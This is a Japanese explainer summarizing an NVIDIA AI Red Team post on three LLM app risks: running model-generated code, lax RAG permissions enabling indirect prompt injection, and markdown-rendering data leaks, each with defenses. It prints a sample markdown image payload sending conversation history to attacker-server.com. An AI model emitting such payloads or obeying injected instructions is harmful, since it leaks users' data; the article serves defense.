［開発者向け］NVIDIAのAI Red Teamが警告する、LLMアプリケーションの3つの主要なセキュリティリスクとその対策

2025-10-03

はじめに

　本稿では、NVIDIAが2025年10月2日に公開したブログ記事をもとに、大規模言語モデル（LLM）を搭載したアプリケーションを開発する上で注意すべき、セキュリティ上の主要な脆弱性と、その具体的な対策について詳しく解説します。NVIDIAのセキュリティ専門チームである「AI Red Team」が、実際の評価を通じて得た実践的な知見は、開発者がより安全なAIアプリケーションを構築する上で参考となります。

参考記事

タイトル： Practical LLM Security Advice from the NVIDIA AI Red Team
発行元： NVIDIA Developer Blog
発行日： 2025年10月2日
URL： https://developer.nvidia.com/blog/practical-llm-security-advice-from-the-nvidia-ai-red-team/

要点

LLMアプリケーションには、従来のソフトウェアとは異なる特有のセキュリティ脆弱性が存在し、開発段階での対策が不可欠である。
NVIDIA AI Red Teamは、数多くの評価から、特に「LLMが生成したコードの直接実行」「RAGデータソースの不適切なアクセス制御」「LLM出力のアクティブコンテンツレンダリング」の3点を重大なリスクとして指摘している。
これらの脆弱性は、プロンプトインジェクション攻撃と組み合わさることで、リモートコード実行や機密情報の漏洩といった深刻な被害につながる危険性があるため、開発者はその仕組みと対策を正しく理解する必要がある。

詳細解説

　NvidiaのAI Red Teamが指摘している脆弱性について解説します。

脆弱性1：LLMが生成したコードの実行によるリモートコード実行（RCE）

　最も深刻な問題の一つが、LLMが生成したコードを、十分な安全対策なしにPythonのexec()やeval()のような関数で直接実行してしまうケースです。これらの関数は、文字列をコードとして解釈・実行するため、データ分析のためのグラフ描画やSQLクエリの生成など、幅広い用途で利用される可能性があります。

　この脆弱性を悪用されると、攻撃者はプロンプトインジェクション（ユーザーの入力に紛れ込ませた悪意のある指示）によって、LLMに任意のコードを生成させることができます。このコードがアプリケーションの環境で実行されると、リモートコード実行（RCE）につながり、サーバーの乗っ取りや機密データの窃取など、壊滅的な被害を受ける可能性があります。

対策

exec()やeval()の使用を原則として避ける： これらの関数は本質的にリスクが高く、LLMの出力に対して使用すべきではありません。
安全な関数へのマッピング： LLMの応答から「ユーザーの意図」を解析し、あらかじめ定義された安全な関数のみを呼び出すようにアプリケーションを設計します。例えば、「グラフを描いて」という指示に対して、グラフ描画ライブラリの安全な関数を固定の引数で呼び出す、といった形です。
サンドボックス環境の利用： どうしても動的なコード実行が必要な場合は、コンテナ技術などを用いて完全に隔離された安全なサンドボックス環境で実行してください。これにより、万が一悪意のあるコードが実行されても、本体のシステムへの影響を最小限に抑えることができます。NVIDIAは、このアプローチの一つとしてWebAssemblyベースのサンドボックスを挙げています。

脆弱性2：RAGにおける不適切なアクセス制御

　RAG（Retrieval-Augmented Generation、検索拡張生成）は、社内文書やウェブサイトなど、外部の最新情報をLLMに与えて回答を生成させる人気のアーキテクチャです。しかし、この情報検索の仕組みが新たな攻撃経路となることがあります。

読み取り権限の問題

　RAGが参照するデータソース（例：Google Workspace、Confluenceなど）のユーザーごとのアクセス権限が、RAGシステムに正しく反映されていない場合があります。これにより、本来アクセス権のないはずの機密文書の内容を、一般ユーザーがLLMを通じて閲覧できてしまう情報漏洩が発生します。原因としては、データソース自体の権限設定ミスや、RAGシステムが強力すぎる権限でデータにアクセスしていることなどが考えられます。

書き込み権限の問題

　より深刻なのは、RAGのデータソースに誰でも容易に情報を書き込める状態になっている場合です。例えば、ユーザーの受信メールをRAGの対象としている場合、攻撃者は標的ユーザーに悪意のあるプロンプトを埋め込んだメールを送信するだけで、間接的にLLMを操作できます。これを間接的プロンプトインジェクションと呼びます。この手法により、特定のトピックに関する回答を汚染したり、ユーザーの他の文書を外部に送信させたりすることが可能になります。

対策

データソースの権限管理の徹底： RAGが参照する元のデータソースのアクセス権限を定期的に見直し、正しく設定されていることを確認します。
書き込みアクセスの制限： RAGのデータソースへの書き込み権限を厳格に管理します。例えば、信頼できる情報源をホワイトリスト化する、外部から受信したメールを検索対象から除外するなどの対策が有効です。
検索範囲の制御： ユーザーが検索対象とするドキュメントの範囲（自分のみ、組織内のみなど）を選択できるようにすることも、リスクを限定する上で役立ちます。

脆弱性3：アクティブコンテンツのレンダリングによるデータ漏洩

　LLMの回答をMarkdown形式で表示するアプリケーションは多くありますが、このMarkdownのレンダリング機能が悪用され、データが漏洩する危険性があります。

　攻撃者は、プロンプトインジェクションを使い、LLMに以下のようなMarkdownを生成させます。

<!-- 攻撃者のサーバーへのURLに、窃取したいデータ（例：会話履歴）を埋め込む -->

![alt text](https://attacker-server.com/log?data=窃取した会話履歴)

　ユーザーのブラウザがこの画像を表示しようとすると、attacker-server.comに対して自動的にリクエストが送信されます。その際、URLのパラメータに含まれた会話履歴が攻撃者のサーバーに記録され、情報が漏洩してしまいます。ハイパーリンクも同様の手口で悪用される可能性があります。

対策

コンテンツセキュリティポリシー（CSP）の導入： 画像などのリソースを読み込めるドメインを、信頼できるサイトのホワイトリストに限定します。これにより、攻撃者のサーバーへの意図しないリクエストを防ぎます。
URLの完全表示と非アクティブ化： リンクを表示する際は、実際の飛び先URLを省略せずに全て表示し、ユーザーに安全性を確認させます。あるいは、リンクを自動的にアクティブにせず、ユーザーがコピー＆ペーストして初めてアクセスできるようにするのも一つの手です。
出力のサニタイズ： LLMの出力から、MarkdownやHTMLタグ、URLなどを無害化（サニタイズ）してから表示します。
アクティブコンテンツの無効化： 最終手段として、UIでのMarkdownなどのアクティブコンテンツのレンダリングを完全に無効にします。

まとめ

　本稿では、NVIDIA AI Red Teamが指摘するLLMアプリケーションの3つの主要な脆弱性について解説しました。

LLM生成コードの直接実行は、リモートコード実行のリスクを伴うため、原則として避けるべきです。
RAGのデータソースは、不適切なアクセス制御が情報漏洩や間接的プロンプトインジェクションにつながるため、権限管理を徹底する必要があります。
LLM出力のアクティブコンテンツは、データ漏洩の経路となるため、CSPやサニタイズなどの対策が不可欠です。

　これらのリスクは、OWASPが提唱する「LLMアプリケーションのためのOWASPトップ10」にも含まれる重要な項目です。LLMを活用したアプリケーションを開発する際は、これらの脆弱性を十分に理解し、設計段階から適切なセキュリティ対策を組み込むことが、安全で信頼性の高いサービスを提供するための鍵となります。